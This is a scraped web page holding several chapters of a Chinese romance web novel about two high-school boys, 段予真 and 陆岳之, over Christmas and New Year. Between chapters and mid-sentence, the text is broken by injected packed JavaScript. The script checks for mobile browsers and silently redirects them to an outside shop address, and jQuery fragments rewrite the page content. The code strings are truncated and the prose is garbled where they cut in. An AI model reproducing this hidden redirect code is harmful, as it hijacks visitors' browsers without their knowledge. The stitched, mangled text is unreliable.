l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971456|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天我桌子里的苹果全都给你了,想吃自己拿,不用问我。” 陆岳之这才明白过来,小少爷又是把自己当成垃圾桶了。 “段予真,你是觉得我连苹果都吃不起吗。”陆岳之笑得很难看。 “……啊?”段予真抬起头看着他:“你不是喜欢吃吗?不喜欢的话就算了,我可以给别人。” “那你为什么不一开始就去问别人,而是来问我?在你眼里我很穷,很需要你的施舍是不是?” 陆岳之语气凶得跟吃了火药似的,把段予真给问懵了。反应过来之后,他便毫不客气地还击: “你有病吧。我问你是因为我这里苹果多得没地放了,你又离我最近,能听明白吗?小钰和春灵都不爱吃,我还硬给她们分了几个呢。你这人思想怎么这么黑暗,难怪只能交到程斯言那样的朋友。一丘之貉。” 陆岳之腾地一下站了起来,身后的椅子都被掀翻了。他整张脸涨得通红,段予真的话显然戳到了他的痛处,以至于他开口时声音都在发抖: “是!我思想黑暗,所以只配和阴沟里的老鼠当朋友,高攀不起你这个上等人!” 他愤恨的吼声把教室里所有人都吓住了,寂静好几秒,才又逐渐恢复吵闹的氛围。 陆岳之拽起椅子放好,浑身发抖地冲出了教室。 他跑到操场上,站在漫天的大雪中,双目通红。稳了十几年的心态,此时此刻被强烈的矛盾撕扯着。他说不清让自己又气又恨的究竟是什么,只是每次站在段予真面前,心里就会冒出深深的挫败感。 他知道段予真的确是公主,从小住在城堡般的豪华别墅里,锦衣玉食,宝马香车。在这样下着大雪的节日,段予真一踏进家门就会有佣人上前伺候,他可以舒服地洗个热水澡,吃完晚饭在落地窗前对着雪景练琴,或者是穿着真丝睡衣,躺在沙发里听着古典乐看看书。 段予真周围的一切,都散发着用金钱堆砌出的奢靡香气。 而自己呢?放学回家之后,只能吃着父母留下的剩菜,闻着厨房、浴室里永远清理不干净的隐隐酸臭味,每晚睡在硬板床上,望着发霉的天花板。 他和段予真就像两块永远不可能契合的拼图。 从古代流传下来的那些“富家小姐抛弃一切和书生私奔”的故事,终究只是穷酸书生在破茅屋里冻死之前的幻想。 陆岳之不明白,沈群为什么就可以。 一样的家徒四壁,一样的鸿沟天堑。甚至他觉得他比沈群更有优势——他身体强壮,四肢健全。 他想不通,可段予真就是会对沈群撒娇,主动亲近,到了他这里,只剩下客气,施舍,和偶尔的调侃。 陆岳之是很木讷,但不是傻子。他能感觉出来,段予真对他连一丝一毫的情意都没有。 如果他还珍惜自己的尊严,就应该在意识到这一点的时候,立刻斩断不该有的妄念,重回正轨。 可是来不及了。他陷入了最可悲的那种境地—— 他已经被段予真喜欢别人时的样子,迷得神魂颠倒。 21. 21 好端端的一个圣诞前夜,段予真的心情却被陆岳之弄得很不痛快。 陆岳之突然发疯跑出教室,没多久又冷着脸回来坐下,一整天都没再说话。 放学后,段予真坐进车里刚系好安全带,突然收到他的消息。 大木头:补课的钱我会全部还给你,不过要再等一段时间。 段予真:? 大木头:你根本就不需要我的辅导,让我给你做家教只是因为可怜我,不是吗? 段予真:你怎么还在纠结这种问题,有完没完了。再说我那是同情,不是可怜,我们家一直都有资助贫困生的传统。你把钱用在该用的地方不好吗,老是跟我较什么劲。 段予真:以后如果需要帮助也可以告诉我,我不会说出去。但请你保持基本的教养,我很讨厌没礼貌的人。 陆岳之那边显示“输入中”,显示了许久,最后也没再发来消息。 回到家段予真边写作业边陪pancake玩了会儿,小狗已经越发地老态龙钟、慈眉善目,穿着暖和的短毛衣蜷坐在他大腿上,肚皮叠出几层褶皱。 段予真换左手握笔,右手挠了挠它的肚子:“胖狗狗。” Pancake想舔主人的手指,伸着脑袋半天都绕不过去,最后只能放弃,躺在段予真腿上,无辜地眨着圆溜溜的眼睛。 “你要加油努力,每天认真吃饭,再稍微运动一下,至少把冬天熬过去好不好?”段予真温和地对它提出要求。Pancake大概没全听懂,只听清了“吃饭”,尾巴欢快地摆动起来。 段予真又说:“也不是强迫你必须做到……但如果我们可以一起看到下个春天的话,我会很高兴。” 他抱起pancake,在它热乎乎的,散发着小狗气味的脑袋上亲了亲。 晚上睡觉前徐亦霆又打过来视频,段予真接通了:“老头?” 徐亦霆说:“圣诞快乐。” “明天才是圣诞呢。”段予真无奈:“Merry Christmas。” 徐亦霆把镜头转动了下,对着桌面上一座很小巧的,圣诞树造型的摆件。 他拧了几圈发条,树上那些迷你灯串亮了起来,整棵树开始转动,从底座里飘出《Jingle Bells》的经典旋律,曲调有点磕磕绊绊,不是特别流畅。 段予真绝望地微笑:“Stop……” 这都记不清是他几岁时候送的礼物了,徐亦霆也不知道从哪个犄角旮旯里翻到的,还特意拿出来逗他。 这个发条八音盒,从搜教程了解原理,准备材料再到组装,上色,全部都是段予真独立完成的。他花了近两个月时间才弄好,一遍遍反复试错、调整,因为太麻烦,中途好几次气得想哭,做完之后还觉得自己简直就是横空出世的机械天才,现在看来却显得很粗糙。 “我在风城。现在外面已经非常热闹,吃完饭回酒店的路上,看到一对年轻的同性情侣假扮成圣诞老人和麋鹿,很怪异。”音乐播放结束后,徐亦霆说。 去年他们就提前定好了度过圣诞假期的地点,但年中段予真执意回国和他分隔两地,又不允许他趁着假期飞回去见面。他只能自己过,坐在壁炉前观看无聊的节日电影,十分凄凉,像是等不到精灵造访的Scrooge。 “那叫cosplay,老头。万圣的时候满大街都穿着奇装异服,你又不是没见过。”段予真淡淡地说:“替我多喝两杯热可可。” 每当徐亦霆试图和段予真开启一段气氛愉快的聊天,就会主动说起身边遇到的,自认为比较有趣味的小事。然而他对外界的感知总和别人有些偏差,段予真也不是会强忍尴尬给他捧场的下属,因此往往起不到太好的效果。 “好。”徐亦霆答应完,又开始找话题:“让我看看你养的狗好吗。” “已经睡着了。”段予真不愿意折腾pancake:“明天早上给你拍。” “我要和它互动,所以别只是敷衍地拍几张照片。”徐亦霆得寸进尺:“明天还要跟我视频。” “寂寞空巢老人。”段予真嘲笑他。 徐亦霆没有反驳,算是默认了,只说:“舅舅的遗产全部留给你继承,难道你不该承担一点小小的责任?” 段予真没有被他画的饼唬住:“你身体还很健康好不好,比我哥那头猩猩都强壮。等你走的时候我肯定也不年轻了,再有钱享受不了又有什么用。” “谁规定要等我死了你才能花我的钱。” 徐亦霆态度变得郑重:“等你成年那天,我名下资产会先划一半给你,前提是你必须回来,回我这里生活。小咩你现在执意要走的路,舅舅以前已经走过一遍,所以更不想你吃无谓的苦头明白吗。” “是吗?那你为什么从小要那样对我,教育我,为什么要让我适应国内的环境让我想家?”段予真感到眼眶发热,长长吐了口气,努力调整着颤抖的呼吸声。 他觉得今天的烦心事真是没完没了,和徐亦霆聊着聊着也开始吵架。 这样也好。现在两个人离得远远的,他有足够的底气跟徐亦霆把心里话都说出来。 段予真紧紧揪着怀里的仙人掌抱枕:“随心所欲,想怎么样就怎么样。徐亦霆你根本没有好好养我。” 徐亦霆沉默片刻,一一向段予真坦白:“年轻的时候并没有想到那么远,没打算要你一直留在身边。对你要求严格是怕你回国之后争不到上游。带你去那些酒会,是想身边所有人都看到我养出了很优秀的小咩公主。总之是舅舅错了,太过自我,没照顾好你的感受。” 长时间的分离让他想了很多,终于开始悔悟,不再收敛,不再拐弯抹角地表达感情。 段予真气闷地偏过头,闭着眼睛也掩不住长睫下的泪意,又听到徐亦霆低声说:“You''re the apple of my eye.” 段予真羞恼不已,脸侧到耳边洇开一抹淡淡的粉红,凶狠回应的一句“l hate you”也毫无气势,语气扭捏得像在撒娇。 “过春节的时候,舅舅可以去看望小咩吗?”徐亦霆不敢把时间设定得太着急,怕段予真会抵触,便从不算太远也不算太近的春节开始试探。 而且节后再驻留几天就是二月十四号,段予真的生日。珍贵的十七岁他不可能错过。 “……随便你。”段予真伸手挡住摄像头,不肯再跟他对视:“没有房间给你住,来了就等着睡沙发吧。” 徐亦霆闷闷地笑了下。段予真偶尔这样别扭地跟他讲话他也颇为享受,感觉回到了princess还是小b ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971457|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' b的时候,坐在他手臂上软绵绵的一团,像散发着奶香气的精致的天使娃娃,被他带着骄傲地到处展示。 怎么会不爱呢?从离开医院保温箱的那天起就被他养在身边,全身心依赖他,牵着他手指学会走路的小咩公主。 就算是长大了,叛逆了,也总有一天会想起来要回家。 挂断视频之后,段予真躺在被窝里还在想着舅舅坦白的那些话,揪着玩偶的绒毛,说不上来心里的感受是酸楚还是释怀。 压抑多年的心结不是一下子就能解开的。他那段日程总是被安排得满当当的童年时光已经过去,再也回不来了。 手机响起消息提示音。段予真伸手摸过来看了一眼,徐亦霆又给他转了大笔的零花钱。 什么意思?觉得这样就可以弥补他心中的伤痕吗? 段予真生气地发了条语音:“谢谢你啊老头。” “不客气。”徐亦霆回复。 次日清早真正迎来了欢乐的圣诞节。段予真把睡眼惺忪的pancake从窝里抱出来,套上红绿配色的新装扮,给徐亦霆拨了视频。 徐亦霆那边是下午,为了更高效地处理工作,还喝了不少咖啡提神。但是看着镜头前蜷缩在段予真锁骨处的吉娃娃,他忽然有种熬了个通宵的迷蒙感:“怎么和之前照片里的那条不太一样?” “照片被我修过了,现在是高清无滤镜,而且还有镜头畸变。”段予真提前威胁道:“敢说它……不好看的话,你就准备孤独终老吧。” 徐亦霆选择不评价。 “你们没一个懂的。”段予真郁闷地说:“pancake明明就像颗大土豆一样可爱。它身上还有很好闻的小狗味。” 徐亦霆说:“舅舅当然可以说它很可爱,不过也是因为爱屋及乌。” “老头你就花言巧语吧,我才不吃这一套。”段予真对他吐舌头扮了个鬼脸,便把视频挂掉了。 今天为了让徐亦霆看看狗,他起得比平时还要早。到达学校的时候,教室门开着,但里面空荡荡的似乎还没人来。 段予真边往座位上走,边看着后面黑板上贴的值日表,今天又轮到他和陆岳之一起做值日了。 将书包塞进桌屉时,段予真突然感觉书包顶到了里面的一个什么东西。他疑惑地伸手去摸,将那圆溜溜、硬邦邦的球状物体拿出来,竟又是个硕大的苹果。 它很随意地被人放在桌屉里,没有精致的包装,外观也不够漂亮,表皮有着粗糙的斑点,颜色半青半红,分布得很不均匀。 它迟到了。在平安夜的第二天,才出现在段予真眼前。 段予真平静地把苹果放回去,到卫生角拿了扫帚,下楼走向清洁区。 早晨有些雾气。太阳还没完全升起来,照下来的光也是冷的,晶莹地映在起伏的雪面上。远远地,段予真就看到陆岳之正在低头扫雪,已经在脚边扫出了一片干净的区域。 他拖着扫帚向陆岳之走去:“早上好啊大木头。来这么早,你吃过饭了吗?” 如常地打着招呼,仿佛昨天什么都没发生。 陆岳之动作停顿,直起身来看着他,点了点头:“嗯。” 两个人没再说话,背对背各自安静地打扫着。 天空中,细碎的雪花逐渐又飘落下来。 22. 22 圣诞过后很快又是元旦节。班主任提前说过,当天会在班里举办一个小小的文艺晚会,学生们也都三三两两地自行组织好了节目。 体育委员章巍还惦记着让段予真也贡献个表演,比如钢琴独奏之类的,不巧的是段予真最近刚好左手腱鞘炎发作,连日常生活都不方便,更别说弹琴了。 章巍看得出来腱鞘炎是个借口,但段予真为了圆谎,这几天每天都特意戴着护腕来上课,算是挺给他面子了,他也不好再强人所难。 陆岳之不知内情,只看到段予真天天戴护腕,有人问起的时候,他就态度随意地解释说是腱鞘炎,好像完全没把身体的损伤当回事。 旁观了好几天,陆岳之终于忍无可忍。 元旦这天下午最后两节课,因为要办晚会,都给取消了。陆岳之找了班主任说自己不愿意参加晚会,想回家自学。 他的孤僻在老师们眼里也早就出名,班主任不是没劝过,让他融入集体和同学们好好相处。但陆岳之总是冷漠地表示,时间太紧张他不想浪费在交朋友上面。 因此陆岳之提出要提前回家的时候,班主任只象征性地劝了两句,便应允了。 陆岳之却没有立刻离开,顿了下又说:“段予真也不参加,他跟我一起走。” “啊?”班主任惊讶地看着他:“是他跟你说的吗?” 陆岳之没有正面回答:“他手疼,得去看医生。我带他去。” 他平时挺老实,不是个会撒谎的人。 “行啊陆岳之,有进步,知道主动帮助同学了。”班主任也没多想,点点头:“那我把你俩的假条一块批了。” 陆岳之站在旁边,亲眼看着她在假条上写下自己和段予真的名字,接过假条攥在手里,说了声谢谢老师,就转身回教室背上书包,去找段予真。 此时是课间,文艺晚会还有不到十分钟就要开始了。段予真独自坐在操场边桂花树下的长椅上,看着远处的雪景出神。 圣诞那晚他和沈群一起去了海边,风特别冷,海岸上零零散散地有些年轻人在玩烟花棒。他们俩临时起意跑过去看海,什么都没准备,只得高价向别人买下十来根,也凑了个热闹。 沈群怕他冷,脱了外套将他裹住,结果第二天自己就没来学校上课,感冒请病假,已经快有一周了。 段予真打了电话询问情况,想去家里看他。但沈群怕传染,耐心地温声哄着,把段予真给劝住了,又叮嘱他安心上课照顾好身体。 这会儿段予真正思考着,要不要趁晚会气氛比较热闹,在没人注意的时候提前开溜。他还是想去沈群家看看,不然没办法放心。 陆岳之抓着假条走向段予真。还有六七米远的时候,他看到邓春灵悄悄绕到树丛旁,伸手猛晃了下桂花树伸出来的树枝。枝杈上堆积的雪顿时簌簌往下掉,淋了段予真满头满肩。 邓春灵捂着肚子跳出来,看着段予真狼狈的模样哈哈大笑,眼泪都要笑出来了。 他们平常关系好,开这类玩笑不是第一回了。段予真也不恼,站起来抖落肩上的碎雪,又摸着头发无奈地笑:“几岁啦,还这么闹。” 邓春灵边笑边走近,给他递了纸巾。段予真接过来,眼帘低垂,认真擦拭着衣服上的湿痕,邓春灵站在他身侧安静地看着,逐渐不再笑了。 “对不起哦。”她有点内疚。 “这种小玩笑也用得着道歉?”段予真脸上还是似笑非笑的淡淡神情,语气温柔:“没事了,快回教室吧,外面太冷。” 邓春灵点了点头,刚走出两步,陆岳之板着个脸直直地迎面往这里来了,她急忙侧过身避让,才没跟陆岳之撞上。 她疑惑地看了陆岳之一眼,陆岳之也正睨着她,那眼神似乎看穿了她心里的想法,有种高高在上的冷漠。 擦肩而过后,邓春灵再回头看。陆岳之高大的背影把段予真完全给遮挡住了,乍一看,根本看不出那里站着的是两个人。 “晚会马上就开始了,你不回教室,出来找我干嘛?”段予真仰脸看向陆岳之。 “我跟老师申请了不参加。”陆岳之说。 “还能这样啊。”段予真想着要不要自己也去申请一下试试,只是不知道现在还来不来得及。 便听陆岳之又说:“你也不参加。收拾好书包跟我走。” 段予真脸上出现一瞬间的空白:“嗯?” “我帮你一起申请了。”陆岳之斜眼望着别处。 虽说这是个意外之喜,但段予真仍是不能理解陆岳之的自作主张:“我没记错的话,现在你是跟班,我才是boss吧?你怎么就替我做决定了。” 陆岳之视线转回来,盯着他的左手:“你不是腱鞘炎吗,只戴着护腕能有什么用。我家附近有个老中医开的诊所,治这方面很有效果,你过去扎两针就好了。” 段予真眉头一跳:“我不去。” “怕疼?”陆岳之勾起嘴角,笑意带有显而易见的嘲讽。 “我根本就没事,干嘛要去扎针。”段予真摘下护腕,在他面前活动了几下手掌:“你看,很灵活吧?我只是不想在晚会上表演节目才跟章巍那么说的,没想到被你当真了。” 陆岳之沉默了下,转身就要去找班主任:“那我去把你的假销掉。” “等等,大木头!”段予真急忙追上去,没料到陆岳之突然停下脚步,导致他整个人都往前扑过头,顺势紧紧搂住了陆岳之的手臂。 陆岳之的身体立刻变得很僵硬,段予真没有察觉,也没松开手,仍将他整条胳膊抱在怀里。 他的脸挤在陆岳之肩侧,仰头望着对方,眨了眨眼睛,非常熟练地开始撒娇:“别这么死板嘛。晚会我本来也不想参加,我跟你一起走,不要再去麻烦老师了。” 陆岳之呼吸微乱:“你先……放开我。” 段予真松手了:“那你别跑啊。等我两分钟我去拿书包——你说你也真是的,假都请好了,干脆就帮我把书包一起带下来呀。陆岳之你是个不合格的跟班。” 他批评得理直气壮,陆岳之也不反驳,沉闷地嗯了声,视线一路追随着他的背影,直到消失在教学楼的楼道里。 附近的几间教室已经开始传出音乐和哄闹声。陆岳之站在桂花树旁,看着那一小片没有积雪的枝叶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971458|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他想着邓春灵对段予真开的那个无聊的玩笑。陆岳之想不通段予真为什么没生气,如果换成自己被人开了同样的玩笑,不说大发雷霆,至少也会条件反射地骂句脏话了。 脑中清晰地回忆起段予真被雪淋到之后,轻轻哆嗦着的样子,眉头似乎是短暂蹙了下的。陆岳之这才意识到,段予真那时的表现其实已经是挺不高兴了,只不过没有发脾气。 猜不透。揣摩不出这个人的心思。 陆岳之又换了个角度继续想。如果当时坐在这里的人是自己,而开玩笑的人是段予真的话,好像就不会觉得生气了。无聊的玩笑也变得有了那么点趣味性,因为他还没见过段予真被他逗得捧腹大笑的样子。 “走吧走吧。”段予真拎着书包回来了。 附近也没人了,段予真没必要再装病,拎书包用的是戴着护腕的左手。陆岳之虽然知道他的手并没有受损伤,可看着还是觉得很不舒服,便伸手拿过来,挎在自己肩上。 段予真夸奖:“不错,这才有跟班的样子嘛。正好我们要去一个方向,你直接坐我的车好了。” “一个方向?”陆岳之转头看着他。 段予真说:“对啊,你不是要回家吗?我去找沈学长。” 陆岳之停下脚步。 段予真走出去一段路,才发现他没跟上,疑惑地转过身:“怎么不走了。” “你找他做什么。”陆岳之终于抬脚跟过来,语气一下子变得很冷。 “沈学长感冒了,我去看看他。”段予真说:“路上还得去趟超市。你有没有什么要买的东西?” “没有。”陆岳之收敛了表情。 在段予真身边他总控制不住地产生许多幻想,因为对方的一句话,一个眼神。 如果换成是他生病,段予真特意去家里看望,那再严重的感冒也很快就能好起来。沈群要是识相的话,明天就该痊愈,滚回学校上课了。 “你说我给他带什么水果比较好,草莓,芭乐,车厘子?还是直接买果篮算了。”段予真认真地苦恼着。 他太纠结,拿出手机边走边在网络上搜索答案。陆岳之看着段予真的侧脸。那双长睫毛随着视线移动轻轻地扑扇,因为心里想着喜欢的人,眉眼间的情愫柔软而羞怯。 陆岳之忽然伸出手,掖了掖段予真颈侧挽得有些松垮的围巾。他的手指不小心擦过段予真的侧脸,段予真竟无意识地稍微偏着脑袋,微红的面颊在他手背轻轻蹭了蹭,注意力还在手机屏幕上,嘀咕:“你手好冷。” “段予真。”陆岳之突然喊了声。 段予真疑惑地抬头看他:“嗯,怎么啦?” 陆岳之摇摇头,看到段予真因为自己没有逻辑的举动嗤地笑了下,回过头去:“无不无聊啊。” 陆岳之机械地抬手,悄悄摘掉飘落在段予真发丝上的雪花。他幻想着段予真再次看向自己,但这件事一直没能发生。 他不是沈群。段予真不会和他嬉笑打闹,不会在他生病的时候专程跑去他家,苦恼地挑选为他带去的礼物。 除了幻想和这短暂的注视,他一无所有。 23. 23 车停在陆岳之家附近的那条巷子,巷口一如既往堵满了随意停放的各种交通工具,没办法开进去。 陆岳之抓着安全带,刚要解开,忽然又改了主意:“我跟你一起去看望沈群。” 段予真扭头惊讶地看向他:“你也去?” “对。” “你们认识吗。”在段予真印象里,这两人好像连话都没说过。 “同校的校友不算认识?”陆岳之决定把宝贵的学习时间,浪费在旁观段予真和沈群相处上面。 实际上他现在也不是太想回家,气氛太压抑了。他爸陆文聪经常犯高血压,这阵子干脆在家休息,整天坐在沙发上看电视剧,又有酒瘾,总偷摸地买酒喝,一喝起来就控制不住。 杨素花下班回去看到丈夫那副酒鬼样子,气就不打一处来。陆文聪脾气也不算好,喝醉了更是爱发火,往往还没说几句话,两人就会吵得不可开交。 最后的结果大多是陆文聪把门一摔,将自己关在卧室生闷气,杨素花则边啜泣边做家务,嘴里不停地跟陆岳之抱怨,说年轻时眼光不好才看上你爸,你们陆家没一个有良心的…… 陆岳之听得心烦不已,甚至想,他宁愿呆在农村跟姥姥姥爷一起生活,换他弟来城里享受所谓的优质教育资源。 “但是你要去看望病人,什么都没带,不太好吧。”段予真提醒:“这附近有没有便利店?带盒饼干也比空着手强。” 陆岳之在书包里翻找,翻出一套前两天在教师办公室打印的,还没来得及做的高考真题:“白送他了。” “说得像送了什么很贵重的东西一样,打印机和纸不都是你从老师那蹭的吗。”段予真忍住了翻白眼的冲动。 走到楼道里,段予真给沈群打了个电话,没说他已经快到门口了,而是问现在过去方不方便。 陆岳之手里帮忙拎着果篮,跟在后面,眼睛盯着段予真微红的耳后皮肤,那抹薄薄赤色正迅速向细白的颈部晕染开。段予真害羞了。 这通电话只打了一分钟,挂掉之后,段予真对陆岳之撇了撇唇:“沈学长在他姑姑那里,今天没办法跟我们见面。不过高阿姨在家,我把果篮送上去就走。你的真题还是算了吧。” 两人继续往上走,陆岳之问:“你为什么要叫他沈学长?明明都是一个年级,听起来很怪。” “秘密。”段予真没有解释。 陆岳之脑子里开始幻想段予真叫自己“陆学长”的样子,想不太出来,但又记起了段予真之前曾叫过“陆老师”,回忆着那个场景忽然觉得手臂麻酥酥的,起了一片鸡皮疙瘩。 高蕊提前把门打开,并且下来迎接段予真。看到陌生的陆岳之,她有些诧异,但没有多问,接了果篮,邀请段予真去家里吃饭,她已经在备菜了。 “谢谢阿姨。不过还是等沈学长病好了,下次有机会我再拜访吧。”段予真任由高蕊拉着自己的胳膊,只是笑着婉拒。 陆岳之发现,段予真在女性长辈面前总是装出一副乖巧模样,看起来特别的温顺柔软。 高蕊留不下段予真,只得让他等一等,回家拿来满满一袋芦柑,塞到段予真手里:“亲戚昨天送来的,不是什么值钱东西。你拿回去尝尝。” “阿姨你太客气了……沈学长是我的好朋友呀,以后我还会经常过来。”段予真手足无措地应对着她的热情,互相推让几个回合,还是把芦柑收下了。 高蕊看着段予真,神情欲言又止,又扫了眼杵在后面的陆岳之,还是没把话说出口。她轻轻拍了拍段予真的胳膊,温柔地叮嘱:“路上小心点啊。” 走出楼道,段予真抬头看了看下着雪的天空:“你现在要回家吗。” 陆岳之说:“对,不然还能去哪。” “我突然想去滑冰。你要不要一起?”段予真把装芦柑的袋子递给他。 “可以。”陆岳之接过袋子:“其实你只是不想自己拎东西。” “才不是。你是我的跟班,帮我拿东西是你的义务。”段予真踢了下脚边的积雪,把雪溅到陆岳之的裤子上。 陆岳之沉默两秒选择了还击。他力气大,踢起来的雪和碎冰飞得到处都是。段予真笑着挡住脸躲避,跑跳着退到路的另一边和他保持距离,走了几步,又出其不意地冲回来,俯身掬起一捧雪泼向陆岳之。 陆岳之慌忙偏过头,但还是没能完全躲开,恼火地笑了:“段予真!” 雪片贴到皮肤立刻就融化掉,一道道水珠顺着脖子不断钻进衣领,留下细微的沁凉触感。陆岳之抹了把脸,大步跨到段予真身前,猛地将他拽到了怀里。 他用一条手臂就锁住了段予真的腰身,将人牢牢按住,垂眼俯视着,闷声问:“你确定要跟我这个北方人比打雪仗?” “不比了,你先放开我。”段予真掰着他铁钳般的手掌:“要被你勒死了。” 说着段予真突然就做出昏迷的表情,闭上眼软绵绵地趴在了他肩头。陆岳之心脏怦怦地乱跳,瞥着段予真的脸,有种冲动,想直接把他这样抱起来。 他小时候在农村生活,吃过几次村里人的喜酒。村里办喜事很少去饭店,大都是直接在自家院子里摆席,从院门口到屋门口铺上一长条红地毯,新娘子在院门外就会被新郎官打横抱起,在众人的起哄声中走过红毯,进了屋再放下。 冰天雪地中他搂着段予真,竟有些热血沸腾的感觉。 陆岳之扭过头,长长吐了口气。他晃了晃段予真的身体:“别闹了,幼稚鬼。” 段予真睁开眼睛和他对视:“那你倒是放开我呀。” 陆岳之赶紧松开手。 今天每个人好像都急着赶回家过元旦,街道堵满了车辆,司机急得直冒汗,却也只能卡在路上无法移动。段予真拍拍陆岳之的胳膊:“你骑车技术怎么样,不会摔吧?” “不会。”陆岳之明白他的意思,伸手解开了安全带。段予真告诉司机:“李叔,你带着东西先回去,我跟我朋友准备骑车去冰场。” 司机答应了声,又回头提醒段予真天冷路滑,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971459|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意安全。 下车之后,段予真和陆岳之在路边解锁了两辆共享单车,骑着车继续前往溜冰场。 路面的确有些滑。陆岳之早就习惯了大雪天气,并不放在眼里,只频频去注意段予真的情况。小少爷身娇肉贵,摔一下就是了不得的大事。 “专心点,老是看我干嘛。”段予真皱眉提醒:“等会儿摔了可别赖到我身上。” “就地上这么点雪我闭着眼都摔不了。”陆岳之不屑地说。段予真懒洋洋地笑了下,瞥着他:“真狂。” 两个人都没戴手套,骑到半路,手先冻得受不了。段予真看到前面有个便利店,把车停在路边,进去买了两杯热牛奶。 “谢谢。”陆岳之接过来一杯:“我把钱转给你。” “滚。”段予真瞪着他,凤眼微嗔:“别找骂。” 陆岳之沉默地掀开盖子上的小口,准备喝的时候,段予真又从兜里掏出一条黑巧:“急什么,先把盖子打开。” 陆岳之打开杯盖,看着他掰下几块巧克力丢到热牛奶里面,然后用吸管搅了搅。纯白液体逐渐转变成温暖的浅褐色,飘出浓郁诱人的香甜气味。 “这不算高热量?”陆岳之还记得段予真有保持身材的需求。段予真说:“算,但是我乐意。我现在就想喝这个,怎么了?” 陆岳之无话可说。站在路边喝完热可可,段予真对他伸出手:“把杯子给我。” “我去扔吧。”陆岳之说。段予真没理他,直接把他的纸杯拿走,和自己的纸杯叠到一起,放到了便利店外面的垃圾桶盖子上。 陆岳之的目光随着他一路跟过去,才注意到垃圾桶旁边有个瘦小的老人,佝偻着腰背,正费力地在桶里翻找能拿去卖的东西。 段予真将纸杯放在老人一转头能看到的位置,在底下压了几张粉钞,便转身回来了。 寒风呼呼啦啦地往脸上吹,雪花飘进了眼睛。陆岳之闭着眼缓了几秒钟,段予真已经回到他身边,低头扶着把手,重新跨上了单车。 他柔软发丝被风吹得凌乱,微遮住眉眼,优越的鼻梁线条因此成了视线焦点,唇角抿着,没有一丝笑意。 是种洁净,清冽的气质,锋芒微微刺目,像阳光下澄净的冰面。 陆岳之刚张了下嘴,段予真就说:“闭嘴,用不着你来评价我的行为。” 但是陆岳之心想,我要说的又不是你以为的那些话。 他只是想问,段予真你为什么这么可爱? 段予真臭着脸在口袋里又摸了摸,摸出两双便利店买到的针织手套,甩了一双在陆岳之怀里:“差点忘了。戴上吧,免得冻伤手写不了作业,浪费你宝贵的学习时间。” 手套被他揣在兜里一小会儿,已经有了些暖意,还沾染着很不明显的柚子香。 陆岳之戴好手套。借着抬手搓脸的动作,他把鼻子埋在上面深深地吸了一口,段予真身上的香气便随着呼吸钻入肺腑。 等他抬起头,段予真已经将他扔下,独自骑出去很远了。 24. 24 段予真直接找的是距离最近的一家溜冰场,场馆不大,顾客也是寥寥无几,只有些家长陪着孩子过来玩。 冰鞋是在溜冰场外面的运动器具店临时买的,上冰之后段予真稍微适应了几分钟,便从陆岳之眼前身姿飘逸地滑了过去,在冰面划出一道流星般的流畅弧度,引起场外一小阵惊呼声。 陆岳之穿戴好护具,眼睛盯着段予真,逐渐加速跟在后面不远处默默地护着。他怕段予真滑得太快会不小心摔跤,冰场上人又乱,很容易受伤。 然而段予真却并没有表现出陆岳之预料中的畏首畏尾,或者是兴奋过度。他似乎对自己即将去往的每一处地点,接下来要做的每一个动作,甚至脸上流露出的每一瞬神态,都已成竹在胸,因此眼神坚定,没有丝毫惧意。 这份笃定和从容,是在十几年的生命历程中一点一滴沉淀出来的,早已内化成段予真自身的一部分。 段予真身形柔韧,双腿修长,对身体的控制力也远远超乎陆岳之的想象。他舒展手臂在冰上轻盈地滑动着,一次次灵活地穿过前方狭窄的路线,游刃有余,如同翩然轻舞的蝶,气质却又更高傲些,没那么脆弱。 陆岳之的速度降了下来,怔怔地看着冰上那道极具观赏性的身影。 不只是他,场馆里其他的客人也都被段予真吸引了视线。身侧不远处的闪光灯晃了陆岳之的眼睛,他才发现竟然还有人举着手机在偷拍段予真,那眼神实在说不上礼貌。 陆岳之皱眉靠近,挡住了这个男人的镜头:“经过允许了吗就在这拍?” “我拍她关你什么事。”男人不满地嘲讽:“咋了,那是你对象啊?她是你女朋友?你老婆?不是就赶紧让开!” 陆岳之颧骨紧绷,眯起眼睛厌恶地打量面前这个不知好歹的家伙,一时不知该先点评他的眼瞎还是他的口臭。 